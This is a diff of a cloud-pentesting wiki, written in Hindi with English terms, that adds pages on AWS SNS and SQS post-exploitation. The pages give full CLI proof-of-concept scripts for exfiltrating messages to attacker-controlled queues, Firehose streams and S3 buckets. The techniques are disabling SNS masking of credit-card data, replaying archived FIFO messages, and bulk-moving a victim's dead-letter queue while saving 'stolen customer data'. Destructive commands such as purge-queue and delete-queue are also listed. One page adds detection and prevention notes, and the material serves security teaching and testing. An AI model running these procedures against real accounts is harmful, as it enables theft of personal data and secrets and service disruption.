+"Statement": [{
+"Sid": "AuditInbound",
+"Principal": ["*"],
+"DataDirection": "Inbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
+```
+
+5) वही संदेश प्रकाशित करें और सत्यापित करें कि अनमास्क्ड मान डिलीवर हुआ है
+```bash
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+अपेक्षित अंश cleartext CC दिखाता है:
+```text
+4539894458086459
+```
+## प्रभाव
+- किसी topic को de-identification/deny से audit-only में स्विच करने (या अन्यथा Outbound controls हटाने) से PII/secrets बिना बदले attacker-controlled subscriptions तक पहुँच जाते हैं, और इससे data exfiltration संभव हो जाती है, जो अन्यथा masked या blocked रहती।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md
new file mode 100644
index 000000000..4a1acb0ef
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md
@@ -0,0 +1,100 @@
+# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Amazon SNS FIFO topic के message archiving का दुरुपयोग करके पहले प्रकाशित संदेशों को replay और exfiltrate करना, attacker-controlled SQS FIFO queue पर subscription ReplayPolicy सेट करके।
+
+- सेवा: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
+- आवश्यकताएँ: Topic must have ArchivePolicy enabled (message archiving). Attacker topic को Subscribe कर सकता है और अपनी subscription पर attributes सेट कर सकता है। Attacker के पास एक SQS FIFO queue होना चाहिए और topic को messages भेजने की अनुमति देनी चाहिए।
+- प्रभाव: इतिहास में प्रकाशित संदेश (subscription से पहले प्रकाशित) attacker endpoint पर पहुँचाए जा सकते हैं। Replayed=true के साथ replayed deliveries SNS envelope में चिन्हित होती हैं।
+
+## Preconditions
+- SNS FIFO topic जिसमें archiving सक्षम हो: `ArchivePolicy` (e.g., `{ "MessageRetentionPeriod": "2" }` for 2 days).
+- Attacker के पास permissions हों:
+- `sns:Subscribe` on the target topic.
+- `sns:SetSubscriptionAttributes` on the created subscription.
+- Attacker के पास एक SQS FIFO queue होना चाहिए और वे एक queue policy जोड़ सकते हैं जो topic ARN से `sns:SendMessage` की अनुमति देती हो।
+
+## Minimum IAM permissions
+- Topic पर: `sns:Subscribe`.
+- Subscription पर: `sns:SetSubscriptionAttributes`.
+- Queue पर: `sqs:SetQueueAttributes` for policy, और queue policy जो topic ARN से `sns:SendMessage` की अनुमति देती हो।
+
+## Attack: Replay archived messages to attacker SQS FIFO
+Attacker अपने SQS FIFO queue को victim SNS FIFO topic से subscribe करता है, फिर `ReplayPolicy` को archive retention window के भीतर पिछले timestamp पर सेट करता है। SNS तुरन्त मिलते-जुलते archived messages को नई subscription पर replay करता है और उन्हें `Replayed=true` से चिन्हित करता है।
+
+Notes:
+- `ReplayPolicy` में प्रयुक्त timestamp topic के `BeginningArchiveTime` के बराबर या उससे बड़ा होना चाहिए। अगर यह इससे पहले होगा, तो API `Invalid StartingPoint value` लौटाएगा।
+- SNS FIFO में `Publish` के लिए आपको `MessageGroupId` निर्दिष्ट करना होगा (और या तो dedup ID या `ContentBasedDeduplication` सक्षम करें)।
+
+

+End-to-end CLI POC (us-east-1)
+```bash
+REGION=us-east-1
+# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
+TS_START=$(python3 - << 'PY'
+from datetime import datetime, timezone, timedelta
+print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
+PY
+)
+
+# 1) Create SNS FIFO topic with archiving (2-day retention)
+TOPIC_NAME=htreplay$(date +%s).fifo
+TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
+--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
+--query TopicArn --output text)
+
+echo "Topic: $TOPIC_ARN"
+
+# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
+for i in $(seq 1 3); do
+aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
+--message-group-id g1 >/dev/null
+done
+
+# 3) Create attacker SQS FIFO queue and allow only this topic to send
+Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
+--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
+--attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+cat > /tmp/ht-replay-sqs-policy.json <= BeginningArchiveTime
+BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
+START=${TS_START}
+if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
+
+aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
+--attribute-name ReplayPolicy \
+--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
+
+# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
+aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
+--max-number-of-messages 10 --wait-time-seconds 10 \
+--message-attribute-names All --attribute-names All
+```
+

+
+## प्रभाव
+**संभावित प्रभाव**: एक हमलावर जो archiving सक्षम SNS FIFO topic की subscription ले सके और अपनी subscription पर `ReplayPolicy` सेट कर सके, वह तुरंत उस टॉपिक पर प्रकाशित ऐतिहासिक संदेशों को replay और exfiltrate कर सकता है, न कि केवल वे संदेश जो subscription बनाए जाने के बाद भेजे गए थे। प्रेषित संदेशों में SNS envelope में `Replayed=true` फ़्लैग शामिल होता है।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
new file mode 100644
index 000000000..d893eb0f5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
@@ -0,0 +1,76 @@
+# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Firehose subscription protocol का दुरुपयोग करके attacker-controlled Kinesis Data Firehose delivery stream को victim SNS standard topic पर register करें। एक बार subscription स्थापित हो जाने और आवश्यक IAM role `sns.amazonaws.com` पर trust करने के बाद, हर भविष्य की notification ध्वनि कम रखते हुए attacker’s S3 bucket में स्थायी रूप से लिखी जाएगी।
+
+## Requirements
+- attacker account में S3 bucket, Firehose delivery stream, और Firehose द्वारा उपयोग की जाने वाली IAM role (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, आदि) बनाने की Permissions।
+- victim topic पर `sns:Subscribe` करने की क्षमता (और वैकल्पिक रूप से यदि subscription role ARN बाद में प्रदान किया जाता है तो `sns:SetSubscriptionAttributes`)।
+- एक topic policy जो attacker principal को subscribe करने की अनुमति देती हो (या attacker पहले से ही उसी account के अंदर ऑपरेट कर रहा हो)।
+
+## Attack Steps (same-account example)
+```bash
+REGION=us-east-1
+ACC_ID=$(aws sts get-caller-identity --query Account --output text)
+SUFFIX=$(date +%s)
+
+# 1) Create attacker S3 bucket and Firehose delivery stream
+ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
+aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
+
+STREAM_NAME=ht-firehose-stream-$SUFFIX
+FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
+
+# Role Firehose assumes to write into the bucket
+aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/firehose-s3-policy.json </dev/null
+
+# 2) IAM role SNS assumes when delivering into Firehose
+SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
+aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/allow-firehose.json <
+aws sns subscribe \
+--topic-arn "$TOPIC_ARN" \
+--protocol firehose \
+--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
+--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
+--region $REGION
+
+# 4) Publish test message and confirm arrival in S3
+aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
+sleep 90
+aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
+```
+## सफाई
+- SNS subscription, Firehose delivery stream, temporary IAM roles/policies, और हमलावर का S3 bucket हटाएँ।
+
+## प्रभाव
+**संभावित प्रभाव**: लक्षित SNS topic पर प्रकाशित प्रत्येक संदेश का न्यूनतम ऑपरेशनल फुटप्रिंट के साथ लगातार और टिकाऊ exfiltration हमलावर-नियंत्रित स्टोरेज में।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
new file mode 100644
index 000000000..3c3dba40b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
@@ -0,0 +1,150 @@
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+
+## विवरण
+
+SQS message move tasks का दुरुपयोग करके पीड़ित के Dead-Letter Queue (DLQ) में जमा किए गए सभी संदेशों को `sqs:StartMessageMoveTask` का उपयोग करके हमलावर-नियंत्रित queue पर रीडायरेक्ट करके चुराना। यह तकनीक AWS के वैध message recovery फीचर का फायदा उठाकर DLQs में समय के साथ जमा संवेदनशील डेटा को exfiltrate करती है।
+
+## Dead-Letter Queue (DLQ) क्या है?
+
+Dead-Letter Queue एक विशेष SQS queue है जहाँ संदेश स्वचालित रूप से भेजे जाते हैं जब उन्हें मुख्य application द्वारा सफलतापूर्वक प्रोसेस नहीं किया जा सकता। ये विफल संदेश अक्सर निम्नलिखित रखते हैं:
+- संवेदनशील application डेटा जिसे प्रोसेस नहीं किया जा सका
+- त्रुटि विवरण और डिबग जानकारी
+- व्यक्तिगत पहचान योग्य जानकारी (PII)
+- API tokens, credentials, या अन्य secrets
+- व्यापार-सम्बंधी महत्वपूर्ण transaction डेटा
+
+DLQs उन विफल संदेशों का "कब्रिस्तान" जैसा काम करते हैं, इसलिए ये कीमती लक्ष्य होते हैं क्योंकि इनमें समय के साथ ऐसा संवेदनशील डेटा जमा हो जाता है जिसे applications सही तरीके से हैंडल नहीं कर पाए।
+
+## हमला परिदृश्य
+
+**वास्तविक उदाहरण:**
+1. **E-commerce application** SQS के माध्यम से ग्राहक आदेश प्रोसेस करती है  
+2. **कुछ आदेश विफल होते हैं** (payment issues, inventory problems, आदि) और DLQ में चले जाते हैं  
+3. **DLQ में जमा होता है** हफ्तों/महीनों का विफल ऑर्डर डेटा जिसमें ग्राहक जानकारी होती है: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`  
+4. **Attacker AWS credentials** हासिल कर लेता है जिनमें SQS permissions होते हैं  
+5. **Attacker पता लगाता है** कि DLQ में हजारों विफल ऑर्डर्स हैं जिनमें संवेदनशील डेटा है  
+6. **व्यक्ति व्यक्तिगत संदेशों तक पहुँचने की बजाय** (धीमा और स्पष्ट), attacker `StartMessageMoveTask` का उपयोग करके सभी संदेशों को एक साथ अपनी queue में bulk transfer कर देता है  
+7. **Attacker एक ही ऑपरेशन में** सभी ऐतिहासिक संवेदनशील डेटा निकाल लेता है
+
+## आवश्यकताएँ
+- स्रोत queue को किसी न किसी queue के RedrivePolicy द्वारा DLQ के रूप में कॉन्फ़िगर किया गया होना चाहिए।
+- IAM permissions (समझौता किए गए victim principal के रूप में चलाते हुए):
+- DLQ (source) पर: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+- destination queue पर: संदेश डिलीवर करने की अनुमति (उदा., queue policy जो victim principal से `sqs:SendMessage` की अनुमति देती हो)। same-account destinations के लिए यह सामान्यतः डिफ़ॉल्ट रूप से allowed होता है।
+- यदि SSE-KMS सक्षम है: source CMK पर `kms:Decrypt`, और destination CMK पर `kms:GenerateDataKey`, `kms:Encrypt`.
+
+## प्रभाव
+DLQs में जमा संवेदनशील payloads (विफल events, PII, tokens, application payloads) को native SQS APIs का उपयोग करके उच्च गति पर exfiltrate किया जा सकता है। यदि destination queue policy victim principal से `SendMessage` की अनुमति देती है तो यह cross-account भी काम करता है।
+
+## दुरुपयोग कैसे करें
+
+- पीड़ित DLQ ARN की पहचान करें और सुनिश्चित करें कि इसे वास्तव में किसी queue द्वारा DLQ के रूप में संदर्भित किया गया है (कोई भी queue चलेगा)।
+- एक attacker-नियंत्रित destination queue बनाएं या चुनें और उसका ARN प्राप्त करें।
+- पीड़ित DLQ से आपकी destination queue पर message move task शुरू करें।
+- प्रगति की निगरानी करें या आवश्यक होने पर task को रद्द करें।
+
+### CLI उदाहरण: E-commerce DLQ से Customer Data का Exfiltration
+
+**परिदृश्य**: एक attacker ने AWS credentials compromise कर ली हैं और पता लगा लिया है कि एक e-commerce application SQS का उपयोग कर रही है और उसकी DLQ में ग्राहक ऑर्डर प्रोसेसिंग के विफल प्रयास जमा हैं।
+
+1) **Discover and examine the victim DLQ**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **बनाएँ attacker-controlled destination queue**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **बड़े पैमाने पर संदेश चोरी को निष्पादित करें**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **चोरी किए गए संवेदनशील डेटा को एकत्र करें**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### क्रॉस-एकाउंट नोट्स
+- The destination queue must have a resource policy allowing the victim principal to `sqs:SendMessage` (and, if used, KMS grants/permissions).
+
+## यह Attack क्यों प्रभावी है
+
+1. **Legitimate AWS Feature**: बिल्ट-इन AWS कार्यक्षमता का उपयोग करता है, जो इसे दुर्भावनापूर्ण के रूप में पहचानना कठिन बनाती है
+2. **Bulk Operation**: धीमे व्यक्तिगत एक्सेस के बजाय हजारों messages जल्दी ट्रांसफर करता है
+3. **Historical Data**: DLQs सप्ताहों/महीनों में संवेदनशील डेटा जमा कर लेते हैं
+4. **Under the Radar**: कई संगठन DLQ access की निगरानी बारीकी से नहीं करते हैं
+5. **Cross-Account Capable**: यदि permissions अनुमति दें तो attacker अपने ही AWS account में exfiltrate कर सकता है
+
+## Detection and Prevention
+
+### Detection
+संदिग्ध `StartMessageMoveTask` API कॉल्स के लिए CloudTrail की निगरानी करें:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### रोकथाम
+1. **न्यूनतम विशेषाधिकार**: `sqs:StartMessageMoveTask` अनुमतियों को केवल आवश्यक भूमिकाओं तक सीमित करें  
+2. **DLQs की निगरानी**: असामान्य DLQ गतिविधि के लिए CloudWatch अलार्म सेट करें  
+3. **क्रॉस-एकाउंट नीतियाँ**: cross-account access की अनुमति देने वाली SQS queue नीतियों की सावधानीपूर्वक समीक्षा करें  
+4. **DLQs को एन्क्रिप्ट करें**: सीमित key नीतियों के साथ SSE-KMS का उपयोग करें  
+5. **नियमित क्लीनअप**: संवेदनशील डेटा को DLQs में अनिश्चितकाल तक जमा न होने दें
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
deleted file mode 100644
index c85c468e8..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
+++ /dev/null
@@ -1,73 +0,0 @@
-# AWS - SQS पोस्ट एक्सप्लॉइटेशन
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### `sqs:SendMessage` , `sqs:SendMessageBatch`
-
-एक हमलावर SQS कतार में दुर्भावनापूर्ण या अवांछित संदेश भेज सकता है, जिससे डेटा भ्रष्टाचार, अनपेक्षित क्रियाओं को ट्रिगर करने, या संसाधनों का समाप्त होना हो सकता है।
-```bash
-aws sqs send-message --queue-url  --message-body 
-aws sqs send-message-batch --queue-url  --entries 
-```
-**संभावित प्रभाव**: कमजोरियों का शोषण, डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधन समाप्ति।
-
-### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-
-एक हमलावर SQS कतार में संदेशों को प्राप्त, हटाने, या उनकी दृश्यता को संशोधित कर सकता है, जिससे संदेशों का नुकसान, डेटा भ्रष्टाचार, या उन संदेशों पर निर्भर करने वाले अनुप्रयोगों के लिए सेवा में बाधा उत्पन्न हो सकती है।
-```bash
-aws sqs receive-message --queue-url 
-aws sqs delete-message --queue-url  --receipt-handle 
-aws sqs change-message-visibility --queue-url  --receipt-handle  --visibility-timeout 
-```
-**संभावित प्रभाव**: संवेदनशील जानकारी चुराना, संदेश हानि, डेटा भ्रष्टाचार, और प्रभावित संदेशों पर निर्भर करने वाले अनुप्रयोगों के लिए सेवा में बाधा।
-
-### `sqs:DeleteQueue`
-
-एक हमलावर पूरे SQS कतार को हटा सकता है, जिससे संदेश हानि होती है और कतार पर निर्भर करने वाले अनुप्रयोगों पर प्रभाव पड़ता है।
-```arduino
-Copy codeaws sqs delete-queue --queue-url 
-```
-**संभावित प्रभाव**: हटाए गए कतार का उपयोग करने वाले अनुप्रयोगों के लिए संदेश हानि और सेवा में बाधा।
-
-### `sqs:PurgeQueue`
-
-एक हमलावर SQS कतार से सभी संदेशों को हटाकर संदेश हानि और उन संदेशों पर निर्भर करने वाले अनुप्रयोगों में संभावित बाधा का कारण बन सकता है।
-```arduino
-Copy codeaws sqs purge-queue --queue-url 
-```
-**संभावित प्रभाव**: पवित्र संदेशों पर निर्भर करने वाले अनुप्रयोगों के लिए संदेश हानि और सेवा में विघटन।
-
-### `sqs:SetQueueAttributes`
-
-एक हमलावर SQS कतार के गुणों को संशोधित कर सकता है, जो इसके प्रदर्शन, सुरक्षा या उपलब्धता को प्रभावित कर सकता है।
-```arduino
-aws sqs set-queue-attributes --queue-url  --attributes 
-```
-**संभावित प्रभाव**: गलत कॉन्फ़िगरेशन के कारण प्रदर्शन में कमी, सुरक्षा समस्याएँ, या उपलब्धता में कमी।
-
-### `sqs:TagQueue` , `sqs:UntagQueue`
-
-एक हमलावर SQS संसाधनों से टैग जोड़ सकता है, संशोधित कर सकता है, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुँच नियंत्रण नीतियों में बाधा उत्पन्न होती है।
-```bash
-aws sqs tag-queue --queue-url  --tags Key=,Value=
-aws sqs untag-queue --queue-url  --tag-keys 
-```
-**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुंच नियंत्रण नीतियों में विघटन।
-
-### `sqs:RemovePermission`
-
-एक हमलावर SQS कतार से संबंधित नीतियों को हटाकर वैध उपयोगकर्ताओं या सेवाओं के लिए अनुमतियों को रद्द कर सकता है। इससे उन अनुप्रयोगों के सामान्य कार्य में विघटन हो सकता है जो कतार पर निर्भर करते हैं।
-```arduino
-arduinoCopy codeaws sqs remove-permission --queue-url  --label 
-```
-**संभावित प्रभाव**: कतार पर निर्भर अनुप्रयोगों के सामान्य कार्य में बाधा unauthorized अनुमति हटाने के कारण। 
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md
new file mode 100644
index 000000000..2bb8ce1d2
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md
@@ -0,0 +1,83 @@
+# AWS - SQS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### `sqs:SendMessage` , `sqs:SendMessageBatch`
+
+एक attacker SQS queue में दुष्ट या अनचाहे संदेश भेज सकता है, जो संभवतः डेटा भ्रष्टाचार, अनवांछित क्रियाएँ ट्रिगर करने, या संसाधनों के समाप्त हो जाने का कारण बन सकता है।
+```bash
+aws sqs send-message --queue-url  --message-body 
+aws sqs send-message-batch --queue-url  --entries 
+```
+**संभावित प्रभाव**: कमजोरियों का शोषण, डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधन-समाप्ति।
+
+### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
+
+एक हमलावर SQS queue में संदेशों को प्राप्त कर सकता है, हटाकर सकता है, या उनकी दृश्यता को बदल सकता है, जिससे उन संदेशों पर निर्भर एप्लिकेशनों के लिए संदेशों का नुकसान, डेटा भ्रष्टाचार, या सेवा में व्यवधान हो सकता है।
+```bash
+aws sqs receive-message --queue-url 
+aws sqs delete-message --queue-url  --receipt-handle 
+aws sqs change-message-visibility --queue-url  --receipt-handle  --visibility-timeout 
+```
+**संभावित प्रभाव**: संवेदनशील जानकारी की चोरी, संदेशों का नुकसान, डेटा भ्रष्टाचार, और प्रभावित संदेशों पर निर्भर करने वाले एप्लिकेशनों के लिए सेवा में व्यवधान।
+
+### `sqs:DeleteQueue`
+
+एक attacker पूरे SQS queue को हटा सकता है, जिससे संदेशों का नुकसान होगा और उन एप्लिकेशनों पर प्रभाव पड़ेगा जो इस queue पर निर्भर हैं।
+```bash
+aws sqs delete-queue --queue-url 
+```
+**संभावित प्रभाव**: हटाए गए queue का उपयोग करने वाले अनुप्रयोगों के लिए संदेशों का नुकसान और सेवा में व्यवधान।
+
+### `sqs:PurgeQueue`
+
+एक हमलावर SQS queue से सभी संदेशों को हटा सकता है, जिससे संदेशों का नुकसान और उन संदेशों पर निर्भर अनुप्रयोगों में संभावित व्यवधान हो सकता है।
+```bash
+aws sqs purge-queue --queue-url 
+```
+**संभावित प्रभाव**: हटाए गए संदेशों पर निर्भर एप्लिकेशनों के लिए संदेश हानि और सेवा में व्यवधान।
+
+### `sqs:SetQueueAttributes`
+
+एक हमलावर SQS queue की विशेषताओं को बदल सकता है, जिससे इसका प्रदर्शन, सुरक्षा, या उपलब्धता प्रभावित हो सकती है।
+```bash
+aws sqs set-queue-attributes --queue-url  --attributes 
+```
+**संभावित प्रभाव**: गलत कॉन्फ़िगरेशन जिसके कारण प्रदर्शन में गिरावट, सुरक्षा समस्याएँ, या उपलब्धता में कमी हो सकती है।
+
+### `sqs:TagQueue` , `sqs:UntagQueue`
+
+एक हमलावर SQS संसाधनों से टैग जोड़, संशोधित, या हटाकर आपके संगठन के लागत आवंटन, संसाधन ट्रैकिंग, और टैग्स के आधार पर लागू प्रवेश नियंत्रण नीतियों को बाधित कर सकता है।
+```bash
+aws sqs tag-queue --queue-url  --tags Key=,Value=
+aws sqs untag-queue --queue-url  --tag-keys 
+```
+**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित एक्सेस नियंत्रण नीतियों में व्यवधान।
+
+### `sqs:RemovePermission`
+
+एक हमलावर SQS queue से जुड़ी नीतियाँ हटाकर वैध उपयोगकर्ताओं या सेवाओं की अनुमतियाँ रद्द कर सकता है। यह उन अनुप्रयोगों के सामान्य कार्य में व्यवधान पैदा कर सकता है जो इस queue पर निर्भर करते हैं।
+```bash
+aws sqs remove-permission --queue-url  --label 
+```
+**Potential Impact**: अनधिकृत रूप से अनुमतियाँ हटाए जाने के कारण queue पर निर्भर अनुप्रयोगों के सामान्य कार्य में बाधा।
+
+### More SQS Post-Exploitation Techniques
+
+{{#ref}}
+aws-sqs-dlq-redrive-exfiltration.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-sns-injection.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
new file mode 100644
index 000000000..d1ba9dad7
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
@@ -0,0 +1,154 @@
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## विवरण
+
+SQS message move tasks का दुरुपयोग करके एक victim की Dead-Letter Queue (DLQ) में जमा सभी संदेशों को `sqs:StartMessageMoveTask` का उपयोग करते हुए attacker-controlled queue पर redirect करके चुराना। यह तकनीक AWS के वैध message recovery फीचर को एक्सप्लॉइट करती है ताकि समय के साथ DLQs में जमा संवेदनशील डेटा को exfiltrate किया जा सके।
+
+## Dead-Letter Queue (DLQ) क्या है?
+
+Dead-Letter Queue एक विशेष SQS queue है जहाँ संदेश स्वतः भेज दिए जाते हैं जब मुख्य एप्लिकेशन द्वारा उन्हें सफलतापूर्वक प्रोसेस नहीं किया जा सकता। ये असफल संदेश अक्सर निम्नलिखित होते हैं:
+- प्रोसेस न हो सकने वाला संवेदनशील application data
+- Error details और debugging जानकारी
+- Personal Identifiable Information (PII)
+- API tokens, credentials, या अन्य secrets
+- बिजनेस-क्रिटिकल transaction data
+
